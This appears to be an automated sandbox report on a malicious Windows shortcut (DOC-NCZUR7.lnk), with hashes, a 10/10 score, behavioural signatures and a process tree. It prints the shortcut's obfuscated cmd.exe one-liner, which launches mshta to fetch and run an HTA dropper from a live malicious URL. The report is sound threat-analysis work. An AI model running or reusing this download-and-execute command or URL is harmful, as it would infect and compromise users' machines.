Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NCZUR7.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NCZUR7.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-NCZUR7.lnk
- Size 1KB
- Sample260804-kbftkazzhx
- SHA256 0520d10bbd3eac3f984d9a9a5df7d83ba82bdb7525021b33528da56d07e89b14
- MD5 dbb456d49e4b16b70a47720cb9d1f3ab
- SHA1 d805b781e59c216ee7f231b4942f386028fdafe2
- SHA512 5c5f4df562b9727379e4493971e9873b1a717f8c977f9a1913e4765598f31404f7ac19869d4790112406c11414e4618d1b9e695f8bb0a053b68cbbc1df7542ef
- TLSH T19931CB043FED0664F3F38F7384BBAB2085BFB9958D20CA2E0140450C5072A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3048 cmd.exe 5744 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3048 wrote to memory of 5744 3048 cmd.exe 90 PID 5744 wrote to memory of 3412 5744 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NCZUR7.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set aiYRZ=msh&&set qY=ta&&start "" !aiYRZ!!qY! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5744 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3412
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